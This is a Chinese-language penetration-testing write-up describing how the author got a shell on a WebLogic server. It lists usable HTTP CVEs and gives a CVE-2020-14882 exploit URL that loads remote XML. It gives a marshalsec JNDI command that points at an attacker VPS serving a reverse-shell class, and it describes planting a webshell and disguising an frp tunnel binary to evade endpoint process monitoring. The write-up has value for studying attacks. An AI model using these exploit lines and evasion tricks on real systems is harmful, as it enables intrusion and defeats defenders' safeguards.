Weblogic 2019-2729反序列化漏洞繞防護拿權限的實戰過程 - 網安 - 專業的網絡安全產業、社區、知識平臺

Part1 前言

大家好，我是ABC_123。前兩期分享了《第14篇：Struts2框架下Log4j2漏洞檢測方法分析與總結》、《第15篇：內網橫向中windows各端口遠程登錄哈希傳遞的方法總結》，本期講解一個Weblogic拿權限案例。

最近安服的同事打比賽，給我陸續發了好幾個沒有拿下來的Weblogic的站點，一直在想盡各種辦法研究，爭取拿下權限。各種WAF防護、終端防護、不出網、SUID不一致、EXP沒回顯等等原因，造成了現有工具、EXP都沒法利用，難度都挺大的。接下來分享一個實戰案例，一個Weblogic站點，T3、IIOP協議都關閉。我粗略看了一下，初步判斷是有waf及終端防護在，繞過的過程還是曲折的，于是把過程記錄下來，分享給大家，為了防止打碼不全造成項目信息泄露，我還是拿一個虛擬機環境做演示吧，但是思路都是完整的。

Part2 技術研究過程

Weblogic中間件判斷

打開weblogic站點，輸入一個不存在的路徑，服務器返回如下，證明是Weblogic中間件。

后續經過掃描探測發現T3、IIOP協議同時關閉了，僅限HTTP訪問。于是回想了一下，Weblogic在HTTP下大致有以下幾個可以拿權限的漏洞，我把相關漏洞CVE羅列出來：

篩選Weblogic HTTP下可用的EXP

經過一系列篩選，經過ABC_123總結，Webloigc中間件下HTTP可拿權限的漏洞大致有如下幾個，其中CVE-2020-14882權限繞過漏洞，后續又接連出了好幾個繞過方法，這里就不一一列舉了。

CVE-2014-4210 weblogic SSRF漏洞。很老的一個漏洞了，可以通過打內網的redis匿名訪問漏洞拿權限。

CVE-2018-2894 兩處路徑上傳漏洞。/ws_utc/begin.do，/ws_utc/config.do，其中begin.do在開發模式下無需認證，在生產模式下需要認證。

CVE-2018-3252 DeploymentService接口上傳漏洞。需要用戶名密碼，打補丁后，可以判斷用戶名密碼是否存在，但是無法上傳文件成功。

CVE-2020-14882 權限繞過代碼執行漏洞。可以回顯執行命令結果，可以結合jndi出網利用，可以加載xml文件任意代碼執行

CVE-2017-3506 代碼執行漏洞。XMLDecoder反序列化不安全數據造成代碼執行

CVE-2017-10271 代碼執行漏洞。XMLDecoder反序列化不安全數據造成代碼執行

CVE-2019-2725 代碼執行漏洞。XMLDecoder反序列化不安全數據造成代碼執行

CVE-2019-2729 代碼執行漏洞。Weblogic10.3.6與12.1.3的POC構造不一樣,Weblogic 12.1.3版本2729的不出網POC，目前無人公布在網上，網傳的POC僅適用于JDK1.6 Weblogic10.3.6版本情況，原理是<array method="forName">標簽替換，適用范圍有限。

CVE-2021-2109 權限繞過漏洞。利用方式jndi，利用成功的前提條件有2個：1、需要出網；2、JDK版本小于等于JDK1.8.191。

對于這幾個漏洞的判斷和利用，是很麻煩的：比如說CVE-2019-2725、CVE-2019-2729、CVE-2020-14756等的各種exp變形非常非常多，JDK1.6、JDK1.7、JDK1.8 不同JDK下exp均有不同，然后有的可以過waf、有的不能；有的可以回顯，有的卻回顯不成功；有的exp路徑存在，有的不存在等等。總之，各種情況下exp數量太多了，挨個測試非常麻煩。于是我寫了一個簡單的FUZZ工具，起一個線程池，把所有組合的exp通通嘗試一遍，每個exp的發包請求、發包返回都會被記錄，而且還內置了瀏覽器，這樣可以仔細分析每個exp利用成功或者失敗的原因，大家可以自己用python腳本實現一個，很簡單。

最終經過篩選，發現只有兩個exp可用，而且成功繞過了各種防護。

1 CVE-2019-2729的JNDI出網利用

這是其中一個能用的EXP，同時也意味著CVE-2017-10271、CVE-2019-2725漏洞均被打了補丁了，不能用，而且weblogic版本大致是12.1.3。而且服務器裝的JDK需要是<=JDK 1.8.191才能利用成功。

2 CVE-2020-14882后臺繞過及jndi出網利用

這個exp能用挺好的，基本上拿下權限是百分之百的事情，因為222.xml里面可以加載任意java代碼，而且不用考慮JDK版本問題。

CVE-2020-14882漏洞的嘗試

這個漏洞大體利用先前的權限繞過，發起一個jndi請求，檢測POC大致如下圖所示：

http://192.168.237.235:7130/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("%68%74%74%70%3a%2f%2xxx.xxx.xxx.xxx:53/123.xml")

首先驗證一下漏洞可不可用，將上述URL中的xml遠程地址替換成dnslog地址，dnslog地址有返回，證明漏洞存在且EXP可用。

接下來將123.xml文件中的命令替換成ping dnslog.cn的命令，結果發現dnslog沒有返回，證明沒有成功。。。這是什么情況。。。一頓操作沒有找到問題所在。

CVE-2019-2729的JNDI嘗試

接下來就把目光放在CVE-2019-2729這個JNDI的exp上了，首先編寫一個實現了反彈shell功能的MyEvilClass.java文件，從ysoserial的github上摘抄了一個反彈shell的java代碼，編譯成MyEvilClass文件，用老外的神器marshalsec-0.0.3-SNAPSHOT-all.jar搭建起來，使用命令如下：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsIP:8888/#MyEvilClass" 53

MyEvilClass.java大致內容如下：

結果讓人崩潰，這次反彈shell成功了，但是只要執行命令，反彈的shell就會斷掉。提示“isn’t allowed to be executed”

太難了。。。估計有什么終端防護在上面。。接下來怎么辦呢，沒思路了，啥命令都執行不了。

換個思路拿下權限

后來我想了想，終端防護攔截的是CMD執行命令、攔截進程等操作，現在的攻擊對象是Java反序列化漏洞，為啥不從Java代碼層面上考慮問題呢？用Java代碼中的PrintWriter類去寫入一個Webshell就行了，終端防護總不能連正常的java類寫文件操作都攔截吧。但是一個問題又來了，如何知道網站的絕對路徑呢？看如下操作：

正常的漏洞路徑如下：

在上述URL路徑后面加上一個?info可以直接得到網站的絕對路徑（看下圖的右下角）

將上述網站絕對路徑放到MyEvilClass.java文件中，完成一個寫文件的操作。關鍵代碼如下：

JNDI請求發起后，寫文件的java代碼被執行，webshell成功拿下。

繞過進程監控

接下來就是上傳FRP或者dogtunnel架設Socks5代理了，結果還是遇到了麻煩。經過一系列測試，發現在/tmp目錄下，任何新建進程都會在1分鐘左右被終止掉、新建文件都會被刪掉。執行ps -aux命令發現有process monitor字樣的進程名存在。

后續繞過方法很簡單，我在weblogic的domain目錄下，傳一個frp，將程序名字更改為weblogic或者tomcat。哈哈，進程攔截不攔截了，估計也不敢攔截，怕終止正常的weblogic或者tomcat應用。

Part3 總結

1. 遇到終端防護攔截執行命令的情況，不如換個思路，從java代碼層面上考慮，它總不能連PrintWriter類寫文件的正常操作都攔截吧。

2. 那些公布出來的Nday，也是有利用價值的，可以多研究一下漏洞原理和利用技巧。

3. /_async/AsyncResponseService?info 可以直接獲取Weblogic的絕對路徑。此外，Weblogic還有很多有意思的東西可以挖，很多地方都可以獲取絕對路徑。